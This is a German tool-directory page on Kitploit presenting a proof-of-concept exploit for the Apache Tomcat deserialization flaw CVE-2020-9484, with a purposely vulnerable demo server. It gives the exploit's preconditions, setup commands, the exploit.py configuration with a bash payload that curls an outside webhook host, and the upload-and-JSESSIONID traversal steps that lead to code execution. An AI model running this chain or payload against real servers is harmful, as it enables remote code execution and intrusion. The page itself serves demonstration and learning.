Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
PoC_CVE-2020-9484 — PoC-Exploit für CVE-2020-9484 und eine verwundbare Webanwendung zu dessen Demonstration | Kitploit
Tools/GitHubGitHub/savsch/poc_cve-2020-9484
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsLernen & BildungPayload-Entwicklung
GitHubsavsch/poc_cve-2020-9484

PoC_CVE-2020-9484

PoC-Exploit für CVE-2020-9484 und eine verwundbare Webanwendung zu dessen Demonstration

Repository anzeigen
1vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Dieses Repository enthält einen Proof-of-Concept-Exploit für CVE-2020-9484 sowie einen Beispiel-Webserver, der für diesen Exploit anfällig ist.


Voraussetzungen für die Ausnutzbarkeit dieser Schwachstelle

Betroffene Tomcat-Versionen sind:

  • Apache Tomcat 10.x < 10.0.0-M5
  • Apache Tomcat 9.x < 9.0.35
  • Apache Tomcat 8.x < 8.5.55
  • Apache Tomcat 7.x < 7.0.104
  1. Der PersistentManager ist aktiviert und verwendet ein FileStore.
  2. Der Angreifer kann eine Datei mit beliebigem Inhalt hochladen, hat Kontrolle über die Dateinamenerweiterung (insbesondere .session-Dateien) und kennt den Speicherort, an dem sie hochgeladen wird.
  3. Es befinden sich Gadgets im Klassenpfad (z. B. clojure oder commons-collections), die für einen Java-Deserialisierungsangriff verwendet werden können.

Der verwundbare Beispieldienst

Der Beispieldienst ist ein Webserver mit zwei Seiten, /index.jsp (oder einfach /) und /list.jsp. Er ermöglicht dem Benutzer, Dateien hoch- und herunterzuladen (bezogen auf die aktuelle Sitzung), und fungiert damit effektiv als Dateispeicher.

  • Es unterstützt POST-Anfragen an /upload für Datei-Uploads und ermöglicht dem Benutzer, den Dateinamen zu wählen. Dadurch ist es möglich, Dateien mit der Erweiterung .session hochzuladen. Es ist außerdem bekannt, dass der Server die Dateien im Verzeichnis /var/tmp/uploads speichert.
  • Es hat PersistentManager mit einem FileStore aktiviert. (siehe context.xml)
  • Es hat clojure:1.8.0 im Klassenpfad, was den Deserialisierungsangriff erleichtert. (siehe pom.xml)

Der Exploit

Um den verwundbaren Beispieldienst einzurichten:

root@kitploit:~
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat

Der Dienst sollte nun unter http://localhost:8085/POC_CVE-2020-9484/ laufen und erreichbar sein.

Passen Sie nun die Konfigurationsvariablen am Anfang von exploit.py an. Das PAYLOAD, hier ein Shell-Skript, kann eine beliebige Datei sein, die vom Server ausgeführt werden kann.

root@kitploit:~
UPLOAD_URL =  'http://localhost:8085/POC_CVE-2020-9484/upload'  # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD =  'file'  # as in the upload page's html form
FILE_UPLOAD_BASE_PATH =  '/var/tmp/uploads/'  # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD =  '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE =  "Clojure"  # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage

Führen Sie nun exploit.py aus. Es führt die folgenden Aktionen aus:

  1. Lädt yoserial herunter.
  2. Verwendet yoserial, um schädliche serialisierte Objekte (als .session-Dateien) zu erzeugen, die schließlich auf dem Server deserialisiert werden:
    • chmodPayload.session, um der auf den Server hochgeladenen Datei PAYLOAD Ausführungsrechte zu erteilen.
    • executePayload.session, um die Datei PAYLOAD auf dem Server auszuführen.
  3. Lädt das PAYLOAD als Datei auf den Server hoch.
  4. Lädt die oben erzeugten .session-Dateien auf den Server hoch.
  5. Löst eine Anfrage an den Server aus, bei der das JSESSIONID-Cookie den Pfad der zuvor hochgeladenen .sesssion-Dateien relativ zum Sitzungsspeicher des Servers darstellt, wodurch deren Deserialisierung auf dem Server und die anschließende Ausführung des Payloads ausgelöst wird.

Fußnoten

  • Viele Server speichern vom Benutzer hochgeladene Dateien unter einem Pfad der Form /path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. In einem solchen Fall kann die Verwendung einer JSESSIONID der Form ../../../../tmp (anstelle eines beliebigen Werts wie "1337"*8 in exploit.py oben) mit der Datei-Upload-POST-Anfrage möglicherweise hilfreich sein, um herauszufinden, wo die hochgeladene Datei auf dem Server gespeichert wird.
Tool herunterladen